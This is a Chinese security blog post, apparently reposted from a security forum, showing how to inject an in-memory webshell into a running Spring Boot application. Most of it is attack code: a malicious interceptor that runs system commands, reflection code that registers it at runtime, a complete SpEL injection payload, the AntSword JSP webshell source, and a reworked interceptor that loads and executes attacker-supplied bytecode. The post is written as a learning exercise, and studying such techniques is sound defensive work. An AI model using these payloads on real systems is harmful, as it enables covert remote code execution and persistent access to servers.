SpringBoot拦截器注入内存马实验

大体思路:request 到达 Controller 层时会经过 Interceptor (拦截器),所以我们可以自定义一个恶意拦截器,并将其注入正在运行的Spring应用。使得 request 经过我们的恶意拦截器时触发恶意代码执行命令。

测试环境:
java version 1.8.0_221
Spring Boot 2.5.1

一、拦截器的使用


1.1 拦截器的实现

可以通过继承 HandlerInterceptorAdapter 类并覆盖其 preHandle 方法实现拦截。preHandle是请求执行前执行,preHandle 方法中写一些拦截的处理,比如下面,当请求参数中带 id 时进行拦截,并写入字符串 InterceptorTest OK! 到 response。

package com.example.spel.interceptor;

import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;

public class InterceptorTest extends HandlerInterceptorAdapter {

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        if( request.getParameter("id") != null ) {
            PrintWriter writer = response.getWriter();
            writer.write("InterceptorTest OK!");
            writer.flush();
            writer.close();
            return false;   //拦截
        }
        return true;    //不拦截
    }
}

1.2 拦截器的注册

实现拦截器后还需要将拦截器注册到spring容器中,可以通过implements WebMvcConfigurer,覆盖其addInterceptors(InterceptorRegistry registry)方法

package com.example.spel.config;

import com.example.spel.interceptor.InterceptorTest;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
public class InterceptorConfig implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new InterceptorTest());
    }
}

1.3 拦截器测试

  • 带 id 请求参数拦截

  • 不拦截


二、运行时拦截器的注册


2.1 运行时注册的实现

假设我们自定义了一个恶意的拦截器:

package com.example.spel.controller;

import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;


public class Madao  extends HandlerInterceptorAdapter {
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        if (request.getParameter("calc") != null) {
            Runtime.getRuntime().exec("calc");
            return false;
        }
        return true;
    }
}

之前展示了如何手动注入拦截器,那么如何往运行中的 SpringBoot 应用中注入这个恶意的拦截器呢?

  • 首先获取应用的上下文环境,也就是ApplicationContext
  • 然后从 ApplicationContext 中获取 AbstractHandlerMapping 实例(用于反射)
  • 反射获取 AbstractHandlerMapping类的 adaptedInterceptors字段
  • 通过 adaptedInterceptors注册拦截器

运行时注册拦截器具体代码如下:

// 恶意拦截器类名
String className = "com.example.spel.controller.Madao";

byte[] bytes = Base64Utils.decodeFromString("恶意拦截器的class文件的base64编码");

ClassLoader classLoader = Thread.currentThread().getClass().getClassLoader();

// defineClass 恶意拦截器类
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
method.invoke(classLoader, className, bytes, 0, bytes.length);

// 获取应用上下文
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

// 获取AbstractHandlerMapping实例, 用于反射
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");

// 反射获取 adaptedInterceptors 字段用于注册拦截器
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<object> adaptedInterceptors = (ArrayList<object>) field.get(abstractHandlerMapping);

//实例化恶意拦截器并注册
adaptedInterceptors.add(classLoader.loadClass(className).newInstance());

2.2 运行测试

对上面的恶意拦截器类进行编译生成 class 文件,再进行 base64 编码。

第一次请求,将恶意的拦截器注入正在运行的应用中。

之后的请求,触发恶意拦截器,执行命令。

三、Spel 表达式注入写内存shell


3.1 Spel 表达式注入的实现

@Controller
@ResponseBody
public class SpelController {

    @GetMapping("/spel")
    public String spelTest(@RequestParam("input") String input) {

        String template = input;

        ParserContext parserContext = new TemplateParserContext();

        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(template, parserContext);

        return expression.getValue().toString();
    }
}

3.2 Spel 运行时注册拦截器

_标题二 中的运行时注册拦截器具体 __代码_改写为 Spel 表达式的形式:

#{((#Method=T(ClassLoader).getDeclaredMethod("defineClass", T(String), T(byte[]), T(int), T(int)))==(#Method.setAccessible(true))) or ((#Method).invoke(T(Thread).currentThread().getClass().getClassLoader(), "com.example.spel.controller.Madao", T(org.springframework.util.Base64Utils).decodeFromString("这里是恶意拦截器的class文件的base64编码"), 0, 这里填byte字节码长度)==(#Field=T(org.springframework.web.servlet.handler.AbstractHandlerMapping).getDeclaredField("adaptedInterceptors"))) or ((#Field.setAccessible(true))==(#Field.get(T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0).getBean("requestMappingHandlerMapping")).add(T(Thread).currentThread().getClass().getClassLoader().loadClass("com.example.spel.controller.Madao").newInstance())))}

3.3 运行测试

对上面的 spel 表达式进行 urlEncode。

第一次请求,通过Spel 表达式注入,将恶意的拦截器注入正在运行的应用中。

之后的请求,触发恶意拦截器,执行命令。

四、蚁剑连接


冰蝎同理。
将蚁剑的 jsp 马进行改写,然后加入我们自定义的拦截器中。实现蚁剑连接。

4.1 蚁剑中的 jsp

蚁剑中生成的 jsp 马如下:

<%-- 使用时请删除此行, 连接密码: 1234 --%>
<%!
class AUXILIARY extends ClassLoader{
  AUXILIARY(ClassLoader c){super(c);}
  public Class profiler(byte[] b){
    return super.defineClass(b, 0, b.length);
  }
}
public byte[] first_class(String str) throws Exception {
  Class base64;
  byte[] value = null;
  try {
    base64=Class.forName("sun.misc.BASE64Decoder");
    Object decoder = base64.newInstance();
    value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
  } catch (Exception e) {
    try {
      base64=Class.forName("java.util.Base64");
      Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
      value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
    } catch (Exception ee) {}
  }
  return value;
}
%>
<%
String cls = request.getParameter("1234");
if (cls != null) {
  new AUXILIARY(this.getClass().getClassLoader()).profiler(first_class(cls)).newInstance().equals(new Object[]{request,response});
}
%>

简单解释一下就是,因为我们无法直接调用 ClassLoaderdefineClass方法,所以这里声明了一个类(AUXILIARY)继承了 ClassLoader 后调用父类的 defineClass。既然控制了ClassLoaderdefineClass方法 ,那么我们便可以加载任意的类,为所欲为!

目标服务器端通过 request.getParameter("1234") 来接收蚁剑发送的重写了 equals 方法(恶意方法)的类的字节码。目标服务器加载字节码,之后获取类实例,调用包含恶意代码的 equals 方法。

4.2 改造jsp以加入恶意拦截器中

这里记录一下改写过程的踩坑点吧。

  • 通过继承(放弃)

因为这里的恶意拦截器类已经继承了 HandlerInterceptorAdapter类,所以无法再让其继承 ClassLoader类来实现加载恶意字节码。所以打算在恶意拦截器类中再声明一个继承 ClassLoader的内部类,然后利用该内部类去加载恶意的字节码。方案如下:

package com.example.spel.controller;


import org.springframework.util.Base64Utils;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.security.SecureClassLoader;


public class Madao  extends HandlerInterceptorAdapter {

    class AUXILIARY extends ClassLoader{
        AUXILIARY(ClassLoader c){super(c);}
        public Class profiler(byte[] b){
            return super.defineClass(b, 0, b.length);
        }
    }

    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {

        String cls = request.getParameter("1234");
        if (cls != null) {

            byte[] value = Base64Utils.decodeFromString(cls);
            new AUXILIARY(this.getClass().getClassLoader()).profiler(value).newInstance().equals(new Object[]{request,response});
            return false;
        }
        return true;
    }
}

但是写完进行编译后因为使用了内部类的原因,所以会上传两个 class 文件:

所以果断放弃这种方法。

  • 通过反射

利用反射去调用 ClassLoaderdefineClass方法,来加载任意类。

需要注意:同一个ClassLoader不能多次加载同一个类。 如果重复的加载同一个类 , 将会抛出 attempted duplicate class definition for name 异常。 所以,在加载类时, 加载该Class的ClassLoader也必须用新的,这里每次直接用反射获取 ClassLoader 实例。

首先我们反射获取 ClassLoader 的实例,但是 ClassLoader 是抽象类,无法直接实例化。

所以我们可以先找一个继承 ClassLoader 的内置类,再反射获取其实例。这里选择了 SecureClassLoader 类。


反射获取实例代码:

Constructor c = SecureClassLoader.class.getDeclaredConstructor();
c.setAccessible(true);
ClassLoader classLoader = (ClassLoader) c.newInstance();

最终恶意拦截器的实现代码:

package com.example.spel.controller;


import org.springframework.util.Base64Utils;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.security.SecureClassLoader;


public class Madao  extends HandlerInterceptorAdapter {

    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String cls = request.getParameter("1234");
        if (cls != null) {

            byte[] value = Base64Utils.decodeFromString(cls);

           // 反射获取 defineClass 方法
            Method dm = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            dm.setAccessible(true);

            // 反射获取 ClassLoader 实例
            Constructor c = SecureClassLoader.class.getDeclaredConstructor();
            c.setAccessible(true);
            ClassLoader classLoader = (ClassLoader) c.newInstance();


            Class clazz = (Class)dm.invoke(classLoader, value, 0, value.length);

            clazz.newInstance().equals(new Object[]{request, response});
            return false;

        }
        return true;
    }
}

编译成 class 文件,并进行 base64 编码。然后利用上面的 spel 注入注册恶意拦截器。

蚁剑连接:


五、写在后面

新手,刚学 java,若有出错,请多多指教。

参考链接(感谢):
https://landgrey.me/blog/19/
https://xz.aliyun.com/t/7491#toc-5

本文来源于: https://xz.aliyun.com/t/9746

相关推荐

炒冷饭系列之第一篇--某sonJndi回显利用+GUI工具

0x00 前言 最近听到一些小伙伴有fastjson注入内存马进行权限维持的需求,于是结合前阵子回显的系列以及内存马的文章,写了一个方便fastjson利用的一个工具。虽然在1.2.48之前已存在不出网就能利用的回显,显得本次利用很多余,但

ljcms的一次审计

ljcms的一次审计 先看看已经爆出的漏洞,就sql注入和文件上传 再看看之前有人分析了的漏洞,就是一个文件上传和sql注入漏洞 https://www.evi1s.com/archives/168/ 现在看看ljcms的主要处理请求的结

从一道题看jinja2过滤器在flask模板注入的用处

题目来源是2020年DASCTF 8月赛 ,通过这道题好好学习到了一些python jinja2 ssti的姿势。当时没做出来,后来参考颖奇师傅的博客做的。 链接:https://www.gem-love.com/ctf/2598.html

红队小技巧

前言 有一段时间没有写文章了,也不知写什么,毕竟从攻击方换成防守方,乙方换到甲方,还有些许不适应。。。但还是决定把自己接触渗透所积累的东西也拿出分享,不管糟粕,还是大伙觉得我分享的有用(那阿鑫自然是很开心),希望能帮到还在学习路上的朋友,文

横向移动的n种姿势

前言 通常我们在渗透过程中从外围打点进入内网后拿到主机提升到system权限,这一台主机就已经拿下。但是我们进入内网的目标还是拿下尽可能多的主机,这时候选择横向移动的方法就尤为重要。今天就对一些常用的横向手法进行一个总结,有不足之处欢迎师傅

.net反序列化之Json.Net及breeze CVE-2017-9424

Json.Net json.net又名Newtonsoft.Json,虽然不是官方库,但是凭借出色的性能优势有着很多的受众用户。下图是官方的性能对比图: demo 官方文档给出了最简单的两个json示例,分别是JsonConvert、Jso

如何利用DNSlog进行更高效率的无回显渗透

DNSlog 0.说在前面 0.1.DNSlog工具 如果有自己的服务器和域名,可以自建一个这样的平台,直接使用BugScan团队开源的工具搭建即可: https://github.com/BugScanTeam/DNSLog 另外我们也可

”传统艺能“与实战的结合 系列文章(二)某次大型活动中的常规思路

序: 通过我的上一篇文章《“传统艺能”与实战的结合 系列文章(一)放大镜下的站点》想必大家已经看出来了,本系列文章主要是以一些基础攻击手法导致沦陷的站点的合集,最近恰巧某活动结束不久,自己被安排到某银行休息休息,做做安服支撑划划水,有了闲心

c++实现抓取所有版本Chrome存储的密码

谷歌浏览器存储密码的方式 在使用谷歌浏览器时,如果我们输入某个网站的账号密码,他会自动问我们是否要保存密码,以便下次登录的时候自动填写账号和密码 在设置中可以找到登录账户和密码 也可以直接看密码,不过需要凭证 这其实是windows的DP

CNVD-2021-16864 某雨cms前台rce复现分析

从cnvd上看到 安装 在官网下载最新版本1.3.0版本 http://bbs.kyxscms.com/?t/1.html 使用phpstudy安装 安装说明如官网说明 http://help.kyxscms.com/935571 也可参考

记一次对某系统的审计(Java审计)

序言 偶然拿到一款基于Spring开发的建站系统,简单看了看Web.xml,发现Servlet前面存在一个全局安全过滤,然后得到路由为Controller/方法名.do,接着直接定位到Class文件中,下文主要介绍本次审计中发现的安全问题。